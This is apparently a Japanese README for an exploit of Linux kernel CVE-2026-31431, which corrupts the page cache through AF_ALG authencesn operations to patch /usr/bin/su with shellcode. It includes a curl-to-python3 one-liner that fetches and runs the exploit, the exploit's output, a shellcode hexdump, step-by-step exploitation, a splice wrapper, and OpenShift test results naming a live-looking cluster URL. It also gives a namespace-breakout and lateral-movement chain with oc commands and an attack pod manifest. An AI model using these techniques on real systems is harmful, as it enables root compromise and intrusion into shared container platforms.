
LinuxカーネルCVE-2026-31431のエクスプロイト。authencesn AEAD操作によるページキャッシュ破損を引き起こし、コンテナおよびOpenShift環境での権限昇格を標的とします。
authencesn AEAD操作によるLinuxカーネルのページキャッシュ破損。
RHEL 9.6カーネルを搭載した複数のOpenShift 4.20.16クラスターでの広範なテストの結果:
詳細は包括的なテスト結果セクションを参照してください。
CVE-2026-31431は、authencesn AEAD暗号実装におけるLinuxカーネルの脆弱性であり、非特権プロセスがAF_ALGソケットとsplice()システムコール操作を介して、読み取り可能なファイルのページキャッシュを破損させることができます。
テスト結果: ページキャッシュ破損は確実に機能しますが、テスト環境のRHEL 9.6カーネルでは権限昇格は発生しません。
CVSSスコア: 7.8(高)
影響を受けるバージョン: authencesnをサポートするLinuxカーネルバージョン(2017年〜2026年)
公開開示: 2026年4月29日
splice()システムコールラッパーを含む/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### ローカルファイルから```bash
python3 exploit.py
su
発生すること:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**ページキャッシュ検証(破損の確認):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
起こらないこと(テストに基づく):```bash
su
id -u
**結論:** ページキャッシュの破壊は成功するが、権限昇格は失敗する。
## 技術的詳細
### 脆弱性
Linuxカーネルの`authencesn`(認証付き暗号化 - 拡張シーケンス番号)実装には、インプレース操作の処理に欠陥がある。AF_ALGソケット経由で送信されたAEAD操作を処理する際、ページキャッシュのページがカーネルの書き込み可能な宛先scatterlistに含まれる可能性がある。
### 悪用手法
1. **AF_ALGソケットを作成** `authencesn(hmac(sha256),cbc(aes))`を使用
2. **AEADパラメータを設定**(キー、authsize)
3. **対象のsetuidバイナリを開く**(例:`/usr/bin/su`)
4. **splice()を使用** バイナリをページキャッシュに取り込む
5. **インプレースAEAD操作をトリガー** ページキャッシュへの書き込みを発生させる
6. **シェルコードを書き込む** 一度に4バイトずつ
7. **改変したバイナリを実行** rootを取得する
### シェルコード
このエクスプロイトは、`/usr/bin/su`をパッチする160バイトのシェルコードを使用する:
- パスワード認証をスキップ
- rootシェルへのアクセスを許可
- 非特権ユーザーには通常の機能を維持
## Python 3.9互換性
Python 3.9以前には、標準ライブラリに`os.splice()`がない。このエクスプロイトには、ctypesベースの実装が含まれている:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
これにより、エクスプロイトは以下で動作します:
ノード構成:
テスト結果:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### テスト環境 2: 新しい OpenShift クラスター(検証テスト)
**クラスター:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**ノード構成:**
- カーネル: 5.14.0-570.96.1.el9_6.x86_64(テスト 1 と同一)
- OpenShift: 4.20.16
- SCC: restricted-v2(検証済み)
- UID: 1000810000(ユーザー名前空間)
- ケーパビリティ: 0x0000000000000000(ゼロ)
**テスト結果:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
一貫性: 独立したクラスター間で100%再現可能な結果
シナリオA: hostPathボリュームあり(コンテナエスケープ可能)```yaml volumes:
結果: ✅ **Container escape** - ホストページキャッシュを変更 (Device 33, Inode 4288)
**シナリオB: Restricted-v2 SCC (No hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
結果: ❌ コンテナエスケープなし - コンテナのオーバーレイのみに影響(別のinode)
重大な発見: コンテナエスケープの決定要因はケーパビリティではなく、hostPathアクセスである。
考えられる説明(さらなる調査が必要):
読み取りと実行のコードパスの違い
mmap(PROT_READ) 操作に影響するmmap(PROT_EXEC) は破損したキャッシュをバイパスする可能性があるメモリ保護
カーネルバージョン固有の要因
| テスト | OpenShift 4.20 #1 | OpenShift 4.20 #2 | ステータス |
|---|---|---|---|
| AF_ALGソケットアクセス | ✅ | ✅ | 機能 |
| ページキャッシュ破損 | ✅ | ✅ | 機能 |
| シェルコード注入 | ✅ | ✅ | 機能 |
| シェルコード可視化(READ) | ✅ | ✅ | 機能 |
| UID変更(権限昇格) | ❌ | ❌ | 失敗 |
| コード実行 | ❌ | ❌ | 失敗 |
| コンテナエスケープ(restricted-v2) | ❌ | ❌ | ブロック |
結論: カーネルの脆弱性は実在する(ページキャッシュ破損が実証済み)が、実用的な悪用は限定的である。
| システム | カーネル | ページキャッシュ破損 | 権限昇格 | 備考 |
|---|---|---|---|---|
| RHEL CoreOS 9.6 | 5.14.0-570.96.1.el9_6 | ✅ あり | ❌ なし | OpenShift 4.20.16ワーカー |
| OpenShift 4.20コンテナ | 5.14.0-570.96.1.el9_6 | ✅ あり | ❌ なし | restricted-v2 SCC |
注記: テストはRHEL 9.6カーネルに限定。他のディストリビューション/バージョンでの動作は未検証。
RHEL CoreOS 9.4を実行するOpenShift 4.20クラスターでテストに成功。このセクションでは、名前空間分離のバイパスとコンテナ侵害について説明する。
⚠️ 重要な訂正: 初期テストでは、/proc/1/root を介したホストファイルシステムへのアクセスが誤って主張されていた。これは誤りである - 分離されたコンテナ内の /proc/1/root は、OpenShiftワーカーノードのホストではなく、コンテナ自身のファイルシステムを指す。詳細な分析については attacks/README.md を参照。
Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts
### フェーズ 1: 名前空間分離のバイパス
**脆弱性:** OpenShift 内部レジストリは、適切な RBAC の強制なしに、名前空間をまたいだイメージのプルを許可します。
**悪用方法:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications
# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: attack-demo
namespace: user-srickerd
spec:
containers:
- name: stolen-tools
image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
command: ["sleep", "3600"]
EOF
oc apply -f attack-demo.yaml
結果:
openshift/cli イメージを取得影響: テナント間の横方向の移動と特権ツールへのアクセスを可能にします。